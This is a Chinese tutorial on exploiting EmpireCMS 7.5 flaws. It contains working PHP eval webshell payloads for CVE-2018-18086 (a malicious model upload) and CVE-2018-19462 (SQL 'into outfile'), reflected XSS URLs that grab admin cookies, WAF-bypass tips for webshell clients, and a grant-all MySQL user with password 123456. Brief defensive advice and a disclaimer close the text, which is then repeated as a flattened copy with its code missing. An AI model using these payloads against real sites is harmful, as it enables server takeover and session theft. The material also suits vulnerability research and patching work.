empirecms漏洞总结
字数 1374 2025-08-05 08:19:06

EmpireCMS漏洞分析与利用教学文档

一、环境搭建

  1. 安装路径:默认安装路径为http://localhost/e/install
  2. 数据库配置
    • MySQL版本可选择自动识别或手动选择
    • 本地数据库填写localhost127.0.0.1
  3. 远程数据库连接
    • 注释掉/etc/mysql/my.conf中的bind-address = 127.0.0.1
    • 创建远程用户:
      grant all on *.* to admin@'%' identified by '123456' with grant option;
      flush privileges;
      
  4. 安装完成后的安全措施
    • 安装完成后会自动生成.off文件防止重复安装
    • 如需重新安装需删除.off文件

二、漏洞分析及利用

1. 后台getshell漏洞(CVE-2018-18086)

漏洞原理

  • EmpireCMS 7.5及之前版本在后台备份数据库时未对数据库表名做验证
  • /e/class/moddofun.php文件的LoadInMod函数存在安全漏洞

关键代码分析

// 上传文件处理
$path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";
$cp=@move_uploaded_file($file,$path);
@include($path);  // 直接包含上传的文件

利用步骤

  1. 准备恶意文件1.php.mod,内容为:
    <?php file_put_contents("getshell.php", "<?php @eval(\$_POST[cmd]); ?>"); ?>
    
  2. 进入后台"导入系统模型"页面
  3. 上传修改后的文件,填写不存在的表名
  4. 访问生成的getshell.php文件
  5. 使用蚁剑连接

绕过技巧

  • 遇到WAF拦截时使用base64编码器
  • 不能使用冰蝎、哥斯拉马,需在$前加\转义

2. 代码注入漏洞(CVE-2018-19462)

漏洞原理

  • /e/admin/db/DoSql.php文件存在代码注入漏洞
  • 未对SQL语句进行充分过滤

关键代码分析

// 执行SQL语句
$query=RepSqlTbpre($r['sqltext']);
DoRunQuery($query);

利用步骤

  1. 通过phpinfo获取网站绝对路径
  2. 使用SQL语句写入webshell:
    select '<?php @eval($_POST[LEOGG])?>' into outfile 'C:/phpStudy/PHPTutorial/WWW/EmpireCMS/e/admin/Get.php'
    
  3. 访问生成的webshell文件
  4. 使用蚁剑连接

限制条件

  • MySQL配置secure_file_priv必须为空或指向可写目录
  • 若为NULL则无法利用此漏洞

3. 后台XSS漏洞

漏洞原理

  • /e/admin/openpage/AdminPage.php存在反射型XSS
  • 只使用htmlspecialchars进行过滤,但输出在iframe标签的src属性中

利用方式

http://target/e/admin/openpage/AdminPage.php?ehash_xxx=xxx&mainfile=javascript:alert(/xss/)

其中ehash值可从登录页面获取

获取cookie

http://target/e/admin/openpage/AdminPage.php?ehash_xxx=xxx&mainfile=javascript:alert(document.cookie)

4. 前台XSS漏洞

漏洞原理

  • /e/ViewImg/index.html存在反射型XSS
  • URL参数直接拼接为a标签和img标签的属性值

利用方式

http://target/e/ViewImg/index.html?url=javascript:alert(document.cookie)

三、防御建议

  1. 针对getshell漏洞

    • 更新到最新版本
    • 对上传文件进行严格过滤
    • 禁用危险函数如include包含用户可控文件
  2. 针对SQL注入

    • 设置MySQL的secure_file_priv为特定目录或NULL
    • 对SQL语句执行进行严格权限控制
  3. 针对XSS漏洞

    • 对所有输出进行HTML实体编码
    • 对iframe的src属性进行严格过滤
    • 实现CSRF防护机制
  4. 通用防护

    • 定期更新CMS系统
    • 最小化后台功能权限
    • 部署WAF防护

四、实战技巧

  1. 绕过WAF

    • 使用编码传输
    • 添加测试语句如echo 123进行调试
  2. 路径获取

    • 通过phpinfo获取绝对路径
    • 搜索DOCUMENT_ROOT确定网站根目录
  3. 连接测试

    • 分步测试各环节是否正常
    • 使用简单语句测试执行环境

本教学文档详细分析了EmpireCMS的多处安全漏洞及其利用方法,仅供安全研究和防御参考,请勿用于非法用途。

EmpireCMS漏洞分析与利用教学文档 一、环境搭建 安装路径 :默认安装路径为 http://localhost/e/install 数据库配置 : MySQL版本可选择自动识别或手动选择 本地数据库填写 localhost 或 127.0.0.1 远程数据库连接 : 注释掉 /etc/mysql/my.conf 中的 bind-address = 127.0.0.1 创建远程用户: 安装完成后的安全措施 : 安装完成后会自动生成 .off 文件防止重复安装 如需重新安装需删除 .off 文件 二、漏洞分析及利用 1. 后台getshell漏洞(CVE-2018-18086) 漏洞原理 : EmpireCMS 7.5及之前版本在后台备份数据库时未对数据库表名做验证 /e/class/moddofun.php 文件的 LoadInMod 函数存在安全漏洞 关键代码分析 : 利用步骤 : 准备恶意文件 1.php.mod ,内容为: 进入后台"导入系统模型"页面 上传修改后的文件,填写不存在的表名 访问生成的 getshell.php 文件 使用蚁剑连接 绕过技巧 : 遇到WAF拦截时使用base64编码器 不能使用冰蝎、哥斯拉马,需在 $ 前加 \ 转义 2. 代码注入漏洞(CVE-2018-19462) 漏洞原理 : /e/admin/db/DoSql.php 文件存在代码注入漏洞 未对SQL语句进行充分过滤 关键代码分析 : 利用步骤 : 通过phpinfo获取网站绝对路径 使用SQL语句写入webshell: 访问生成的webshell文件 使用蚁剑连接 限制条件 : MySQL配置 secure_file_priv 必须为空或指向可写目录 若为NULL则无法利用此漏洞 3. 后台XSS漏洞 漏洞原理 : /e/admin/openpage/AdminPage.php 存在反射型XSS 只使用 htmlspecialchars 进行过滤,但输出在iframe标签的src属性中 利用方式 : 其中ehash值可从登录页面获取 获取cookie : 4. 前台XSS漏洞 漏洞原理 : /e/ViewImg/index.html 存在反射型XSS URL参数直接拼接为a标签和img标签的属性值 利用方式 : 三、防御建议 针对getshell漏洞 : 更新到最新版本 对上传文件进行严格过滤 禁用危险函数如 include 包含用户可控文件 针对SQL注入 : 设置MySQL的 secure_file_priv 为特定目录或NULL 对SQL语句执行进行严格权限控制 针对XSS漏洞 : 对所有输出进行HTML实体编码 对iframe的src属性进行严格过滤 实现CSRF防护机制 通用防护 : 定期更新CMS系统 最小化后台功能权限 部署WAF防护 四、实战技巧 绕过WAF : 使用编码传输 添加测试语句如 echo 123 进行调试 路径获取 : 通过phpinfo获取绝对路径 搜索 DOCUMENT_ROOT 确定网站根目录 连接测试 : 分步测试各环节是否正常 使用简单语句测试执行环境 本教学文档详细分析了EmpireCMS的多处安全漏洞及其利用方法,仅供安全研究和防御参考,请勿用于非法用途。